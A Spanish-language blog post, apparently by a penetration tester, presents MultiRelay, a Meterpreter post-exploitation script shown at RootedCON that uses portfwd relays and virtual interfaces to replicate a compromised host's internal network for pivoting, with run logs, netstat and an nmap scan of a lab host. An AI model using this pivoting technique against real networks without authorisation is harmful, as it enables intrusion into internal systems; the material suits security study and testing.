MultiRelay fue el script principal que presenté la pasada semana en la RootedCON.
El script se apoya en otros dos scripts que creé para realizar el descubrimiento y escaneo de red que ya comentamos ayer, y una vez que conoce los servicios de la red realiza el mapeo de los servicios.
En primer lugar crea interfaces virtuales en la máquina en la que se ejecuta Metasploit (el atacante) que se corresponden con las IPs descubiertas en la red interna de la máquina comprometida.
Una vez creados, el script realiza relays mediante el comando portfwd de Meterpreter entre cada una de las IPs virtuales y las IPs reales, con lo que se crea en local una réplica de la red interna de la máquina comprometida, haciendo accesible la red interna:
meterpreter > run multirelay
[*] MULTIRELAY START
[*] STEP 0: CLEAN INTERFACES
[*] STEP 1: PORT DISCOVERY
[*] STEP 2: SET VIRTUAL INTERFACES
[*] ifconfig lo:MR0001 inet 172.16.146.2 netmask 255.255.255.255
[*] ifconfig lo:MR0002 inet 172.16.146.147 netmask 255.255.255.255
[*] ifconfig lo:MR0003 inet 172.16.146.148 netmask 255.255.255.255
[*] STEP 3: TCP PORT RELAY
[*] portfwd add -L 172.16.146.2 -l 631 -r 172.16.146.2 -p 631
[*] Local TCP relay created: 172.16.146.2:631 <-> 172.16.146.2:631
[*] portfwd add -L 172.16.146.147 -l 135 -r 172.16.146.147 -p 135
[*] Local TCP relay created: 172.16.146.147:135 <-> 172.16.146.147:135
[*] portfwd add -L 172.16.146.147 -l 139 -r 172.16.146.147 -p 139
[*] Local TCP relay created: 172.16.146.147:139 <-> 172.16.146.147:139
[*] portfwd add -L 172.16.146.147 -l 445 -r 172.16.146.147 -p 445
[*] Local TCP relay created: 172.16.146.147:445 <-> 172.16.146.147:445
[*] portfwd add -L 172.16.146.147 -l 1025 -r 172.16.146.147 -p 1025
[*] Local TCP relay created: 172.16.146.147:1025 <-> 172.16.146.147:1025
[*] portfwd add -L 172.16.146.147 -l 1026 -r 172.16.146.147 -p 1026
[*] Local TCP relay created: 172.16.146.147:1026 <-> 172.16.146.147:1026
[*] portfwd add -L 172.16.146.148 -l 22 -r 172.16.146.148 -p 22
[*] Local TCP relay created: 172.16.146.148:22 <-> 172.16.146.148:22
[*] portfwd add -L 172.16.146.148 -l 111 -r 172.16.146.148 -p 111
[*] Local TCP relay created: 172.16.146.148:111 <-> 172.16.146.148:111
[*] MULTIRELAY DONE
Una vez hecho esto podemos ver como tenemos creadas las interfaces virtuales y mapeados sus respectivos puertos:
# netstat -anp | grep "LISTEN "
tcp 0 0 172.16.146.147:1025 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:1026 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:135 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:139 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:111 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:22 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.2:631 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:445 0.0.0.0:* LISTEN 6746/ruby
Ya solo tenemos que utilizar nuestra herramienta favorita contra el servicio que queramos, como si estuviéramos en su misma LAN:
# nmap -sV -sC 172.16.146.147
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-09 00:21 CET
Nmap scan report for 172.16.146.147
Host is up (0.0000060s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc?
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp open NFS-or-IIS?
1026/tcp open LSA-or-nterm?
Service Info: OS: Windows
Host script results:
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| Name: GRUPO_TRABAJO\ROOTEDLABS01
|_ System time: 2011-03-09 00:23:06 UTC+1
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.11 seconds
Una vez acabado el trabajo ya solo tenemos que borrar los interfaces virtuales:
meterpreter > run multirelay -d
Deleting relays...
[*] Successfully stopped TCP relay on 172.16.146.147:139
[*] Successfully stopped TCP relay on 172.16.146.147:1026
[*] Successfully stopped TCP relay on 172.16.146.2:631
[*] Successfully stopped TCP relay on 172.16.146.147:445
[*] Successfully stopped TCP relay on 172.16.146.147:135
[*] Successfully stopped TCP relay on 172.16.146.148:111
[*] Successfully stopped TCP relay on 172.16.146.147:1025
[*] Successfully stopped TCP relay on 172.16.146.148:22
Bajo ciertas condiciones el script puede provocar fallos de conectividad en la máquina que contiene el Metasploit, si es que las direcciones de red de la LAN atacada son similares a las direcciones de red internas de las oficinas en las que se encuentre el sistema que ejecuta Metasploit. Poco a poco se irán corrigiendo todo este tipo de fallos.
Espero que disfrutéis de la herramienta y que os resulte muy útil.